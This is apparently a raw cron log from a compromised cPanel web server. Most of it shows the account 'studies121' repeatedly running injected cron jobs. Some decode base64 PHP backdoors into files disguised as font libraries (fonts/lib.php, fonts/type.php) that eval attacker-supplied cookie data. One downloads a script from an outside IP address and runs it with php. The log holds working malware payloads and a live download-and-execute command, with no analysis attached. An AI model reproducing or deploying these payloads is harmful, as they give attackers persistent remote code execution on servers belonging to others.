Sep  1 23:44:01 ip-184-168-122-23 CROND[9780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:45:01 ip-184-168-122-23 CROND[9955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:45:01 ip-184-168-122-23 CROND[9957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:45:01 ip-184-168-122-23 CROND[9958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:45:01 ip-184-168-122-23 CROND[9959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:45:01 ip-184-168-122-23 CROND[9961]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:45:01 ip-184-168-122-23 CROND[9962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:46:01 ip-184-168-122-23 CROND[10048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:46:01 ip-184-168-122-23 CROND[10050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:46:01 ip-184-168-122-23 CROND[10051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:46:01 ip-184-168-122-23 CROND[10056]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 23:46:01 ip-184-168-122-23 CROND[10052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:46:01 ip-184-168-122-23 CROND[10055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:46:01 ip-184-168-122-23 CROND[10057]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 23:47:01 ip-184-168-122-23 CROND[10176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:47:01 ip-184-168-122-23 CROND[10180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:47:01 ip-184-168-122-23 CROND[10179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:47:01 ip-184-168-122-23 CROND[10178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:48:01 ip-184-168-122-23 CROND[10256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:48:01 ip-184-168-122-23 CROND[10259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:48:01 ip-184-168-122-23 CROND[10258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:48:01 ip-184-168-122-23 CROND[10261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:48:01 ip-184-168-122-23 CROND[10262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:49:01 ip-184-168-122-23 CROND[10341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:49:01 ip-184-168-122-23 CROND[10343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:49:01 ip-184-168-122-23 CROND[10344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:49:01 ip-184-168-122-23 CROND[10345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:50:01 ip-184-168-122-23 CROND[10549]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:50:01 ip-184-168-122-23 CROND[10552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:50:01 ip-184-168-122-23 CROND[10557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:50:01 ip-184-168-122-23 CROND[10558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:50:01 ip-184-168-122-23 CROND[10554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:50:01 ip-184-168-122-23 CROND[10560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:50:01 ip-184-168-122-23 CROND[10559]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 23:50:01 ip-184-168-122-23 CROND[10561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:50:01 ip-184-168-122-23 CROND[10562]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:51:01 ip-184-168-122-23 CROND[10663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:51:01 ip-184-168-122-23 CROND[10666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:51:01 ip-184-168-122-23 CROND[10665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:51:01 ip-184-168-122-23 CROND[10667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:52:01 ip-184-168-122-23 CROND[10748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:52:01 ip-184-168-122-23 CROND[10750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:52:01 ip-184-168-122-23 CROND[10751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:52:01 ip-184-168-122-23 CROND[10754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:52:01 ip-184-168-122-23 CROND[10752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:53:01 ip-184-168-122-23 CROND[10844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:53:01 ip-184-168-122-23 CROND[10843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:53:01 ip-184-168-122-23 CROND[10846]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  1 23:53:01 ip-184-168-122-23 CROND[10847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:53:01 ip-184-168-122-23 CROND[10853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:54:01 ip-184-168-122-23 CROND[10932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:54:01 ip-184-168-122-23 CROND[10935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:54:01 ip-184-168-122-23 CROND[10936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:54:01 ip-184-168-122-23 CROND[10933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:54:01 ip-184-168-122-23 CROND[10938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:55:01 ip-184-168-122-23 CROND[11015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:55:01 ip-184-168-122-23 CROND[11016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:55:01 ip-184-168-122-23 CROND[11020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:55:01 ip-184-168-122-23 CROND[11022]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:55:01 ip-184-168-122-23 CROND[11021]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:55:01 ip-184-168-122-23 CROND[11019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:56:01 ip-184-168-122-23 CROND[11105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:56:01 ip-184-168-122-23 CROND[11106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:56:01 ip-184-168-122-23 CROND[11107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
